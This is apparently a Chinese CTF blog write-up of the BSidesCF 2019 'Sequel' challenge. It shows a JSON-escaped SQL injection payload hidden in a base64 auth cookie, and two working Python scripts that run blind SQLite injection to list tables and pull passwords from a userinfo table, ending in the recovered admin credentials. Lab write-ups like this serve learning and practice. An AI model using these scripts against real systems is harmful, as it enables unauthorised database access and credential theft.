刷题笔记:[BSidesCF 2019]Sequel


前言

感觉像是sql注入

题解

似乎有检测,先fuzz一下。

被屏蔽的有点多,看样子并非是黑名单,而是白名单模式。

先扫个目录看看有没有源码泄漏。

试了半天不行,看了下wp才知道原来注入点不在这,先爆破用户密码为guest,整了半天赛道都没找到。

给了提示,需要admin

看看cookie,是个base64,解个码

再替换成admin加密。

报invalid。

原来sql注入点在这。而且还是sqlite。

sqlite注入要点

这个sqlite_master就类似于mysql的information_schema

CREATE TABLE sqlite_master (
type TEXT,
name TEXT,
tbl_name TEXT,
rootpage INTEGER,
sql TEXT
);

写exp的时候,要注意先是要符合一开始的json格式,然后把里面的值作为字符串拼接到sql语句里,所以是这样的,需要用\转义

{"username":"\" or 1=1 or \"","password":"guest"}
import requests
import base64
import string
import time

url = "http://370d0ebd-78f4-4fc1-aa6c-943b03ea68ac.node4.buuoj.cn:81/sequels"
flag = ''
while True:
    for i in string.printable:
        time.sleep(0.1)
        tmp = flag + i
        if i in '%_':
            continue
        if tmp[0] == 'n':
            continue
        elif tmp[0] == 'r':
            continue
        elif tmp[0] == 's':
            continue
        u = r'\" or EXISTS(SELECT name from sqlite_master where name like \"{}\" limit 1) or \"'.format(
            tmp + '%')
        payload = '{"username":"%s","password":"guest"}' % u
        # print(payload)
        cookies = {"1337_AUTH": base64.b64encode(payload.encode('utf-8')).decode('utf-8')}
        res = requests.get(url, cookies=cookies)
        if "Movie" in res.text:
            flag = tmp
            print(flag)
            break

notes reviews reviews sqlite userinfo

试了下用limit 1 offset 3似乎不太行,可能是因为偶尔返回的顺序不一致。

结果还是得从开头入手,如果有前几个字母同名的表那就难办了。

sqlite里没有if/chr/asc,不过也可以这样来配合二分法判断加速判断。

import requests
import base64
import string
import time

url = "http://0eaa6072-56ef-4b36-9ba7-a0e1d673c493.node4.buuoj.cn:81/sequels"
flag = ''
for x in range(1, 10):
    print(x)
    for n in range(1, 40):
        for i in string.printable:
            time.sleep(0.1)
            tmp = flag + i
            u = r'\" or (substr((select password from userinfo limit {},1),{},1)=\"{}\") or \"'.format(
                x, n, i)
            payload = '{"username":"%s","password":"guest"}' % u
            # print(payload)
            cookies = {"1337_AUTH": base64.b64encode(payload.encode('utf-8')).decode('utf-8')}
            res = requests.get(url, cookies=cookies)
            if "Movie" in res.text:
                flag = tmp
                print(flag)
                break

1号是guest,2号就是这个了,还好不多,不然要跑死。

username:sequeladmin
password:f5ec3af19f0d3679e7d5a148f4ac323d

登录,结束。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录